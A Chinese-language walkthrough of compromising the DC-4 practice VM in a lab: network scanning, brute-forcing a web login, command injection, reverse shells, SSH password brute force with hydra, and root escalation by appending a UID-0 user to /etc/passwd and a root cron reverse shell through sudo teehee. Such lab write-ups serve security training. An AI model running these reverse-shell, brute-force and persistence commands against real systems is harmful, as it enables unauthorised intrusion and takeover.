环境

  • VMware Workstation 15
  • 靶机 DC-4
  • 攻击机 Parrot
  • 网段 192.168.136.0/24

扫描局域网

按照惯例,找出靶机IP

sudo arp-scan --interface=eth0 --localnet

扫出靶机IP:192.168.136.138

扫描端口

也是惯例,namp扫端口

sudo nmap -sS -P0 -A -p- 192.168.136.138

收集到以下信息:

  • 开启SSH服务,22端口
  • 开启HTTP服务,80端口
  • 中间件Nginx
  • Debian系统

访问Web服务

先看看Web搭建了什么网站,SSH先放一放

应该是自己写的登录页面,跟着用dirsearchdirmapdirb都没有扫描出可疑页面,只能爆破一下这个登录页面了

爆破登录

打开BurpSuite抓包,Ctrl + i,跳转到爆破模块,指定password,参数,用户名就使用admin吧,选择字典导入,Attack开始爆破

很幸运爆破出了密码happy,用户名是admin

登录

得出用户名和密码,登录看看

System Tools Command,嗯,有远程命令执行的味道

味道越来越浓,抓包修改命令看看

修改radio参数值为whoami,响应www-data,成功执行

反弹SHELL

经过简单的Fuzz,靶机上有ncPython3PHP

这里使用nc反弹shell

先在攻击机使用nc监听一个端口,这里监听5555端口

nc -lvp 5555

抓包,修改radio参数值为以下

nc -e /bin/bash 192.168.136.133 5555

放包,即可

接收到的不是交互式的Shell,使用Python3反弹一个交互式的shell

python3 -c "__import__('pty').spawn('/bin/bash')"

当时我尝试使用bash -i >& /dev/tcp/192.168.136.133/5555 0>&1反弹shell发现不行,后面使用URL编码之后也不行,不知道哪里问题

提权

靶机简介有说到我们需要root权限才能看到最后的Flag,所以接下来就是漫长的提权旅程

看到当前用户是www-data,目前我只想到之前有用过提权方法(只会这些)SUID提权、sudogit提权、DirtyC0w提权、searchsploit检索EXP提权,嗯,就这么多,一个一个来试,大把时间

SUID提权

想用suid来提权,首先需要找到已经设置suid位并且可以利用的其提权的二进制程序

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

通过以上命令寻找,执行完之后并没有找到可以利用的二进制程序

SUDO

没有www-data密码无法使用sudo

DirtyC0w

uname -a
lsb_release -a
cat /proc/version

查看了一下Linux版本不在脏牛影响范围,遂放弃

Linux Kernel >= 2.6.22 的所有 Linux 系统

意味着从 2007 年发布 2.6.22 版本开始,直到2016年10月18日为止,这中间发行的所有 Linux 系统都受影响。

searchsploit

通过系统版本信息使用searchsploit查询有没有可以利用的提权漏洞

  • 内核:4.9.0-3-686
  • Debian 4.9.30-2
sudo searchsploit linux 4.9 

No Result,没有

到这,我就到处切换目录,找找有什么文件之类的

突然想看看有什么用户,来到了/home目录下

看到了有三个用户,分别进去看了一下,只有jim用户家目录下有文件,下面截图可以看到有一个backups文件夹、mbox文件、test.sh文件,mbox无权限查看

test.sh文件内容

进去backups目录下发现有一个旧密码的备份文件,好家伙,猜测可以进行SSH爆破

SSH爆破

SSH爆破我这里使用了hydra,这个爆破工具十分强大,具体用法看帮助文档--help

jim那个密码备份文件复制一份,指定jim用户爆破

hydra -l jim -P jim-passwd -v -t 4 192.168.136.138 ssh

注意:-t线程不要设置太大,4到6即可,太大容易产生SSH连接超时

经过漫长的等待,可算爆破出来了

密码:jibril04

二话不说SSH连接,接着看看mbox是什么

是一封邮件,emm,貌似没什么用,再到处看看有什么可以提权

查看有没有sudo权限

哦嚯,没有sudo权限,于是就网上疯狂找一些关于Linux提权的文章,期间又想了想那个mbox邮件内容,会不会有什么关于邮件的不知名的东西,与找了找关于Linux邮件文章,通过命令行键入mail,回显提示有邮件在/var/mail目录下,于是到该目录查看

邮件内容

From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
    (envelope-from <charles@dc-4>)
    id 1hCjIX-0000kO-Qt
    for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is:  ^xHhA&hvim0y

See ya,
charles

意外发现Charles用户的密码,反手使用SSH连接

再次输入mail没有邮件,同样的套路不会使用两次,我只是保险起见看看,接下我测试一下有没有sudo权限

sudo -l

发现存在一个命令可以使用sudo不需要密码,先看看这是什么命令

/usr/bin/teehee --help

发现-a参数是追加内容到某个文件,想想,一个可以以root权限写入内容到文件,即可以一些只有root用户才能修改的文件,/etc/shadow/etc/passwd、sudo的/etc/sudoer等等,这里参考网上列出几种利用方法

修改passwd文件

直接使用teehee追加内容到`/etc/passwd文件

sudo /usr/bin/teehee -a /etc/shadow

passwd文件是记录用户的文件,每一行对应一个用户,格式如下

用户名:密码:UID:GID:描述性信息:主(家)目录(home):默认Shell

密码中的x表示此用户设有密码,密码保存在/etc/shadow文件中

UID 每一个用户都有唯一的UID,范围在0-65535

UID范围用户身份
0超级用户,UID为0代表该用户为管理员账户,如何把普通用户升级为管理员,只需把UID设置为0即可
1-499系统用户(伪用户),也就是说,此范围的 UID 保留给系统使用。其中,1~99 用于系统自行创建的账号;100~499 分配给有系统账号需求的用户。
500~65535普通用户。通常这些 UID 已经足够用户使用了。但不够用也没关系,2.6.x 内核之后的 Linux 系统已经可以支持 232-1 个 UID 了。

GID 用户组ID

知道了这些就可以按照模板追加一行到文件

sudo /usr/bin/teehee -a /etc/passwd
cheung::0:0:Priv:/home/:/bin/bash

添加crontab定时任务

可以通过添加定时任何,反弹root权限的shell

crontab/etc/crontab文件添加定时任务的语法

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed

先用攻击机使用nc监听5555端口

nc -lvp 5555

再执行命令添加定时任务

sudo /usr/bin/teehee -a /etc/crontab
* * * * * root nc -e /bin/bash 192.168.136.133 5555

Flag

提权参考

标签: 渗透测试靶机

添加新评论